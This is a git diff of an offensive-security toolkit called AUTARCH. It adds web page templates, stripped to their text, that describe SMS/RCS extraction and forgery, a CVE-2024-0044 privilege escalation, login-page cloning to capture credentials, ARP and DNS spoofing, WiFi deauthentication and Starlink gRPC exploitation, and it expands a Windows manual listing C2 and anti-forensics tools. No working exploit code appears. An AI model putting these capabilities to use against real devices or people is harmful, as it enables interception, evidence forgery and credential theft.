| No clients connected. Start a rogue AP first. | ||||||
+
+
+
+
+
+
+{% endblock %}
diff --git a/web/templates/rcs_tools.html b/web/templates/rcs_tools.html
new file mode 100644
index 0000000..472c92b
--- /dev/null
+++ b/web/templates/rcs_tools.html
@@ -0,0 +1,940 @@
+{% extends "base.html" %}
+{% block title %}AUTARCH — RCS/SMS Exploit{% endblock %}
+
+{% block content %}
+
+
+
+DNS Spoofing
++ Redirect specific domains to an IP address of your choice (e.g., AUTARCH server). +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+SSL Strip
++ Downgrade HTTPS connections to HTTP for traffic interception. Requires sslstrip installed. +
+
+
+ SSL Strip Disabled
+
+
+
+
+
+Traffic Statistics
+
+
+
+
+
+
+
+
+
+
+ Top Domains
+| Domain | Queries |
|---|---|
| No data yet. | |
+
+
+
+ Top Clients
+| MAC / IP | Usage |
|---|---|
| No data yet. | |
+
+
+Packet Capture
++ Capture network traffic from connected clients using tcpdump. +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+RCS/SMS Exploitation
++ Extract, forge, modify, backup, and exploit SMS/RCS messages on connected Android devices. + Uses content providers (no root), Archon relay, CVE-2024-0044, and bugle_db direct access. +
+
+
+
+
+
+
+
+
+SMS Messages
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+MMS Messages
+ + +
+
+
+RCS Provider (AOSP content://rcs/)
+
+
+
+
+
+
+
+
+
+Content Provider Enumeration
+Scan all known messaging content providers to see which are accessible at UID 2000.
+ + +
+
+
+
+
+
+
+
+bugle_db Extraction
++ Extract the Google Messages database directly. Messages are stored as plaintext — + no decryption needed. Tries: Archon relay → CVE-2024-0044 → root → ADB backup. +
+
+
+
+
+
+
+
+
+
+
+
+SQL Query (extracted bugle_db)
+Run arbitrary SQL against a previously extracted bugle_db.
+ +
+
+
+
+
+
+
+
+Extracted Database Snapshots
+ + +
+
+
+
+
+
+
+
+Forge SMS Message
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Forge RCS Message (via Archon)
+
+
+
+
+
+
+
+
+
+Forge Conversation
+ + + +
+
+
+Import SMS Backup XML
+Import from SMS Backup & Restore XML format.
+ +
+
+
+
+
+
+
+
+Forge Log
+
+
+
+
+
+
+
+
+
+
+
+
+
+Modify Message
+
+
+
+
+
+
+
+
+
+
+Change Sender
+
+
+
+
+
+
+
+
+Shift Timestamps
+
+
+
+
+
+
+
+
+Bulk Actions
+
+
+
+
+
+
+
+
+
+Delete Single Message
+
+
+
+
+
+
+
+
+
+
+
+
+CVE-2024-0044 — run-as Privilege Escalation
++ Newline injection in PackageInstallerService allows run-as access to any app's private data. + Works on Android 12-13 with security patch before October 2024. +
+ +
+
+
+
+
+
+
+
+
+RCS Spoofing
+
+
+
+
+
+
+
+
+
+
+
+RCS Identity & Signal Protocol
+
+
+
+
+
+
+
+
+
+Known RCS CVEs
+ + +
+
+
+IMS/RCS Diagnostics
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Full Backup
++ Back up all SMS/MMS/RCS messages from the device. Content providers capture SMS/MMS; + Archon relay or bugle_db extraction captures RCS. +
+
+
+
+
+
+
+
+
+
+Restore / Clone
+
+
+
+
+
+
+
+
+
+Set Default SMS App
+
+
+
+
+
+
+
+Saved Backups
+ + +
+
+
+Exported Files
+ + +
+
+
+
+
+
+{% endblock %}
diff --git a/web/templates/reverse_eng.html b/web/templates/reverse_eng.html
new file mode 100644
index 0000000..00db6cc
--- /dev/null
+++ b/web/templates/reverse_eng.html
@@ -0,0 +1,734 @@
+{% extends "base.html" %}
+{% block title %}AUTARCH — Reverse Engineering{% endblock %}
+
+{% block content %}
+
+
+
+SMS/RCS Monitor
++ Monitor incoming SMS/RCS messages in real-time via logcat interception. +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Reverse Engineering
++ Binary analysis, disassembly, YARA scanning, hex viewing, and packer detection. +
+
+
+
+
+
+
+
+
+
+
+
+
+Binary Analysis
++ Comprehensive file analysis: type detection, hashes, entropy, strings, imports, exports, and packer detection. +
+
+
+
+
+
+
+
+
+
+
+
+
+Binary Comparison
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Disassembly
++ Disassemble binary data from a file section or raw hex bytes. +
+ + +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+YARA Scanner
++ Scan files against YARA rules for malware signatures, patterns, and indicators of compromise. +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Available Rules
+
+ Click "Refresh Rules" to load the list of available YARA rule files.
+
+
+
+
+
+
+
+{% endblock %}
diff --git a/web/templates/sdr_tools.html b/web/templates/sdr_tools.html
new file mode 100644
index 0000000..f5fd4ae
--- /dev/null
+++ b/web/templates/sdr_tools.html
@@ -0,0 +1,1173 @@
+{% extends "base.html" %}
+{% block title %}AUTARCH — SDR/RF Tools{% endblock %}
+
+{% block content %}
+
+
+
+
+
+
+
+Hex Viewer
++ View raw binary content in hex and ASCII format. +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Hex Search
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+SDR / RF Tools
++ Spectrum analysis, signal capture & replay, ADS-B tracking, and GPS spoofing detection. +
+
+
+
+
+
+
+
+
+
+
+SDR Devices
+ + +
+
+
+
+
+
+
+Spectrum Scan
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
++ Common Frequencies Reference + ▶ +
+ +
+
+
+
+
+
+
+
+
+
+Capture Signal
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Recordings
+ +
+
+No recordings yet. Capture a signal to get started.
+
+
+
+
+Replay Signal (HackRF TX only)
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Demodulate
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Signal Analysis
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ADS-B Aircraft Tracking
++ Receive and decode ADS-B transponder signals at 1090 MHz to track aircraft in range. +
+
+
+
+ Idle
+
+
+
+
+
+ Aircraft Tracked
+ 0
+
+
+ Status
+ --
+
+
+
+
+
+| ICAO | +Callsign | +Altitude (ft) | +Speed (kn) | +Heading | +Lat | +Lon | +Msgs | +Last Seen | +
|---|---|---|---|---|---|---|---|---|
| Start tracking to see aircraft. | ||||||||
+
+
+GPS Spoofing Detection
++ Monitor GPS L1 frequency (1575.42 MHz) for anomalies indicating spoofing: unusual power levels, + multiple strong carriers, or flat power distribution. +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+{% endblock %}
diff --git a/web/templates/sms_forge.html b/web/templates/sms_forge.html
new file mode 100644
index 0000000..cc4870b
--- /dev/null
+++ b/web/templates/sms_forge.html
@@ -0,0 +1,930 @@
+{% extends "base.html" %}
+{% block title %}AUTARCH — SMS Forge{% endblock %}
+
+{% block content %}
+
+
+
+
+Drone RF Detection
++ Monitor RF bands for drone control links and video transmitters. Detects DJI OcuSync, + analog FPV, Crossfire, ExpressLRS, and other common drone protocols on 2.4 GHz, 5.8 GHz, + 900 MHz, and 433 MHz bands. +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Status
+ Idle
+
+
+ Detections
+ 0
+
+
+ Bands Monitored
+ --
+
+
+
+
+Detections + +
+
+
+
+
+
+
+
+
+
+| Time | +Frequency | +Protocol | +Signal (dB) | +SNR | +Confidence | +Drone Type | +Duration | +FHSS | +
|---|---|---|---|---|---|---|---|---|
| Start detection to scan for drones. | ||||||||
+
+
++ Known Drone Frequencies Reference + ▶ +
+ +
+
+
+
+
+
+
+SMS/MMS Backup Forge
++ Create and modify SMS/MMS backup XML files (SMS Backup & Restore format). +
+
+
+
+
+
+
+Message List
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ No messages loaded
+
+
+
+
+
+
+
+
+
+
+
+
+
+Generate from Template
++ Generate a realistic conversation from a built-in or custom template. +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Manual Conversation Builder
++ Build a conversation message by message with custom delays. +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Bulk Contact Replace
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Timestamp Shift
+
+
+
+
+
+
+
+
+
+
+ + Positive = forward in time, negative = backward. + E.g. -1440 shifts back 1 day, 60 shifts forward 1 hour. +
+
+
+
+
+
+
+
+
+
+
+
+
+Import
++ Import an existing SMS Backup & Restore XML file or a CSV file. +
+
+
+
+
+
+
+
+
+
+
+
+
+Merge Multiple Backups
++ Upload multiple XML backups to merge. Duplicates are automatically removed. +
+
+
+
+
+
+
+
+
+
+
+
+Export
++ Download the current message set as an SMS Backup & Restore XML or CSV file. +
+
+
+
+
+
+
+
+
+
+
+Backup Statistics
+
+ Click Refresh to load stats.
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+{% endblock %}
diff --git a/web/templates/social_eng.html b/web/templates/social_eng.html
new file mode 100644
index 0000000..ee83798
--- /dev/null
+++ b/web/templates/social_eng.html
@@ -0,0 +1,740 @@
+{% extends "base.html" %}
+{% block title %}Social Engineering — AUTARCH{% endblock %}
+{% block content %}
+
+
+
+Conversation Templates
++ Built-in and custom templates for generating realistic SMS conversations. +
+ +
+
+
+Custom Template Editor
++ Create a custom template in JSON format. Fields: name, description, variables (array), messages (array of {body, type, delay_minutes}). +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Social Engineering Toolkit
+Credential harvesting, pretexts, QR phishing, USB payloads, vishing scripts
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+{% endblock %}
diff --git a/web/templates/starlink_hack.html b/web/templates/starlink_hack.html
new file mode 100644
index 0000000..5f9bbf9
--- /dev/null
+++ b/web/templates/starlink_hack.html
@@ -0,0 +1,900 @@
+{% extends "base.html" %}
+{% block title %}AUTARCH — Starlink Hacking{% endblock %}
+
+{% block content %}
+
+
+
+
+ Clone Login Page
++ Fetch a login page, rewrite form actions to capture credentials through AUTARCH. +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Cloned Pages
+ +
+
+ Loading...
+
+
+
+
+ Captured Credentials
+
+
+
+
+
+
+
+ No captures yet.
+
+
+
+
+
+
+
+Starlink Terminal Security Analysis
++ gRPC exploitation, firmware analysis, network attacks, and RF analysis for Starlink user terminals. +
+
+
+
+
+
+
+
+
+
+
+Discover Dish
+
+
+
+
+
+
+
+
+
+
+
+
+
+Dish Status
+
+
+
+
+
+
+
+
+
+Network & WiFi Clients
+ + +
+
+
+Port Scan
+ + + +
+
+
+
+
+
+
+
+
+
+Enumerate gRPC Methods
+ + +
+
+
+
+Quick Actions
++ Send commands to the Starlink dish via gRPC. Use with caution on production hardware. +
+
+
+
+
+
+
+
+
+
+
+Custom gRPC Call
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Traffic Interception (ARP Spoof)
++ ARP spoofing between dish and gateway to intercept traffic. Requires arpspoof or ettercap. +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+DNS Spoofing
++ Redirect DNS queries for a domain to a controlled IP. Requires dnsspoof or ettercap. +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+WiFi Client Deauthentication
++ Send deauth packets to disconnect WiFi clients from the Starlink router. Requires aircrack-ng or mdk4. +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+MITM WiFi Clients
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+{% endblock %}
diff --git a/web/templates/vuln_scanner.html b/web/templates/vuln_scanner.html
new file mode 100644
index 0000000..c7f0357
--- /dev/null
+++ b/web/templates/vuln_scanner.html
@@ -0,0 +1,627 @@
+{% extends "base.html" %}
+{% block title %}AUTARCH — Vulnerability Scanner{% endblock %}
+{% block content %}
+
+
+
+
+Firmware Version Check
++ Check the running firmware version against known vulnerable versions. +
+ + +
+
+
+
+Firmware Analysis
++ Upload a firmware image for signature scanning, entropy analysis, and string extraction. +
+
+
+
+
+
+
+
+
+
+
+
+
+Debug Interface Scan
+ + +
+
+
+
+RF Downlink Analysis
++ Ku-band downlink analysis (10.7-12.7 GHz). Requires SDR hardware (HackRF or RTL-SDR with LNB). +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Jamming Detection
++ Check for signal jamming indicators by analyzing dish diagnostics (drop rate, latency, throughput, SNR). +
+ + +
+
+
+Known Vulnerabilities
+ + + +
+
+
+
+
+
+
+
+
+ ← Offense
+Vulnerability Scanner
++ Port scanning, CVE matching, default credential checking, header & SSL analysis, Nuclei integration. +
+
+
+
+
+
+
+
+
+
+
+
+New Scan
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Port scan + service detection + CVE matching + headers + SSL
+
+
+
+Standalone Checks
+
+
+
+
+
+
+ Security Headers
+
+
+
+
+
+
+
+
+ SSL/TLS Analysis
+
+
+
+
+
+
+
+
+
+
+
+
+ Default Credentials
+
+
+
+
+
+
+
+
+
+
+
+Nuclei Templates
+ +
+
+
+
+
+ Loading templates...
+
+
+
+
+
+
+
+{% endblock %}
diff --git a/windows_manual.md b/windows_manual.md
index 5509811..52a1bc2 100644
--- a/windows_manual.md
+++ b/windows_manual.md
@@ -28,14 +28,26 @@
AUTARCH runs on Windows with most features fully functional. A few Linux-specific tools (like `tshark` packet capture and WireGuard kernel integration) have limited support, but the web dashboard, AI chat, OSINT tools, hardware management, and Metasploit all work on Windows.
**What works on Windows:**
-- Web dashboard (full UI)
-- AI chat (all LLM backends except GPU quantization)
-- OSINT tools
+- Web dashboard (full UI — 59 blueprints, all tool pages)
+- AI chat (all LLM backends — Claude API, OpenAI, local GGUF, HuggingFace)
+- All 72 CLI modules
+- OSINT tools (7,200+ sites, username/email/domain/IP/phone lookup)
- Android/iPhone device management via ADB (USB or WebUSB)
- Hardware ESP32 flashing
- Metasploit RPC client (MSF must be started separately)
- Reverse shell management
-- Targets & Settings
+- C2 Framework, Load Test, Gone Fishing Mail Server
+- Vulnerability Scanner, Exploit Development, Social Engineering
+- Active Directory Audit, MITM Proxy, WiFi Audit
+- Password Toolkit, Web Scanner, API Fuzzer, Cloud Scanner
+- Steganography, Anti-Forensics, Forensics, Reverse Engineering
+- BLE Scanner, RFID/NFC Tools, Malware Sandbox
+- Container Security, Email Security, Incident Response
+- Report Engine, Net Mapper, Log Correlator, Threat Intel
+- SDR/RF Tools (with Drone Detection), Starlink Hack
+- SMS Forge, RCS/SMS Exploitation
+- Pineapple/Rogue AP, Deauth (require Linux/Raspberry Pi for full functionality)
+- Targets, Autonomy, Encrypted Modules, LLM Trainer
- Agent Hal (autonomous AI agent)
**What has reduced functionality on Windows:**
@@ -181,23 +193,15 @@ Default credentials are set during first-run setup. Change them in Settings →
|---------|-------------|
| Dashboard | System overview, tool status |
| Targets | Pentest scope and target management |
-| Defense | System hardening, firewall checks |
-| Offense | Metasploit modules, port scanning |
-| Counter | Threat hunting, detection |
-| Analyze | File forensics, malware analysis |
-| OSINT | Intelligence gathering |
+| Autonomy | AI-driven autonomous security operations |
+| Defense | System hardening, Linux/Windows/Threat Monitor, Threat Intel, Log Correlator, Container Sec, Email Sec, Incident Response |
+| Offense | Metasploit, Load Test, Gone Fishing, Social Eng, Hack Hijack, Web Scanner, C2 Framework, WiFi Audit, Deauth, API Fuzzer, Cloud Scan, Vuln Scanner, Exploit Dev, AD Audit, MITM Proxy, Pineapple, SMS Forge |
+| Counter | Threat hunting, Steganography, Anti-Forensics |
+| Analyze | File forensics, Hash Toolkit, LLM Trainer, Password Toolkit, Net Mapper, Reports, BLE Scanner, Forensics, RFID/NFC, Malware Sandbox, Reverse Eng |
+| OSINT | Intelligence gathering, IP Capture |
| Simulate | Attack scenarios, Legendary Creator |
-| Wireshark | Packet analysis (needs Npcap) |
-| Hardware | Android/iPhone/ESP32 management |
-| Android Exploit | Android-specific testing |
-| iPhone Exploit | iPhone forensics |
-| Shield | Anti-stalkerware scanner |
-| Reverse Shell | Remote device management |
-| Archon | Android companion app |
-| UPnP | Port forwarding |
-| WireGuard | VPN management |
-| MSF Console | Metasploit terminal |
-| Settings | All configuration |
+| Tools | Enc Modules, Wireshark, Hardware, Android Exploit (+ SMS Forge), iPhone Exploit, Shield, Reverse Shell, Archon, SDR/RF Tools, Starlink Hack, RCS Tools |
+| System | UPnP, WireGuard, DNS Server, MSF Console, Chat, Settings |
### HAL Chat Button
@@ -405,7 +409,7 @@ AUTARCH's WireGuard page generates and manages config files. On Windows, apply t
| Feature | Status | Notes |
|---------|--------|-------|
-| Web dashboard | Full | Works perfectly |
+| Web dashboard (59 blueprints) | Full | Works perfectly |
| AI chat (cloud APIs) | Full | Claude, OpenAI, HuggingFace all work |
| AI chat (local GGUF) | Full (CPU) | Slow without GPU |
| GPU quantization (4-bit/8-bit) | Partial | Needs CUDA + bitsandbytes |
@@ -416,6 +420,13 @@ AUTARCH's WireGuard page generates and manages config files. On Windows, apply t
| ADB (WebUSB/Direct) | Full | Chrome/Edge only, needs WinUSB driver |
| ESP32 flashing | Full | COM port instead of /dev/ttyUSB |
| WireGuard | Partial | Needs Windows WireGuard app |
+| SDR/RF Tools | Full | Needs HackRF or RTL-SDR hardware + drivers |
+| Starlink Hack | Full | Needs network access to Starlink dish |
+| SMS Forge / RCS Tools | Full | Needs ADB connection to Android device |
+| WiFi Audit / Deauth / Pineapple | Partial | Full functionality requires Linux/monitor-mode adapter |
+| C2 Framework | Full | All agent types work |
+| Vulnerability Scanner | Full | Nuclei recommended for template scanning |
+| Container Security | Full | Needs Docker Desktop installed |
| Background service | Via Task Scheduler | `--service` flag doesn't work |
| System uptime | N/A | Shows "N/A" (uses /proc/uptime) |
| mDNS discovery | Partial | May require Bonjour |
@@ -560,4 +571,52 @@ python autarch.py --setup
---
-*AUTARCH is for authorized security testing and research only. Always obtain written permission before testing systems you do not own.*
+---
+
+## 14. New Tools Overview (v2.3)
+
+AUTARCH v2.3 includes 59 web blueprints and 72 CLI modules. Here is a summary of the major tool categories added since v2.0:
+
+### Offense Tools
+| Tool | Description |
+|------|-------------|
+| Vulnerability Scanner | Nuclei/OpenVAS template-based scanning with severity ratings |
+| Exploit Development | Shellcode gen, payload encoding, ROP chains, pattern generator |
+| Social Engineering | Credential harvest, pretexts, QR phishing, campaign tracking |
+| AD Audit | LDAP enumeration, Kerberoasting, AS-REP roast, ACL analysis |
+| MITM Proxy | HTTP(S) interception, SSL strip, request modification |
+| Pineapple | Rogue AP, Evil Twin, captive portal (Raspberry Pi) |
+| Deauth Attack | WiFi deauthentication (Raspberry Pi + monitor-mode adapter) |
+| C2 Framework | Multi-agent command & control with task queuing |
+| WiFi Audit | Wireless network security assessment |
+| SMS Forge | Create/modify SMS Backup & Restore XML backups |
+| RCS/SMS Exploit | Message extraction, forging, and RCS exploitation via ADB |
+| Starlink Hack | Starlink terminal security analysis and gRPC exploitation |
+
+### Defense Tools
+| Tool | Description |
+|------|-------------|
+| Container Security | Docker/K8s audit, image scanning, escape detection |
+| Email Security | DMARC/SPF/DKIM analysis, header forensics, phishing detection |
+| Incident Response | IR playbooks, evidence collection, IOC sweeping, timeline |
+| Threat Intelligence | Feed aggregation, IOC management, STIX/TAXII |
+| Log Correlator | Multi-source log aggregation and event correlation |
+
+### Analysis Tools
+| Tool | Description |
+|------|-------------|
+| Reverse Engineering | Binary analysis, Capstone disassembly, YARA, Ghidra integration |
+| Digital Forensics | Disk/memory forensics, artifact extraction |
+| SDR/RF Tools | Spectrum analysis, RF replay, ADS-B tracking, drone detection |
+| Steganography | Data hiding/extraction in images and audio |
+| BLE Scanner | Bluetooth Low Energy discovery and fuzzing |
+| RFID/NFC Tools | Card reading, cloning, emulation |
+| Malware Sandbox | Safe detonation and behavior analysis |
+| Net Mapper | Network topology discovery with SVG visualization |
+
+All tools are accessible from the web dashboard sidebar and most are also available via CLI (`python autarch.py -m
+
+
+
+
+Scan History
+
+
+
+
+
+
+
+
+
+| Target | +Date | +Profile | +Status | +Findings | +Severity Breakdown | +Actions | +
|---|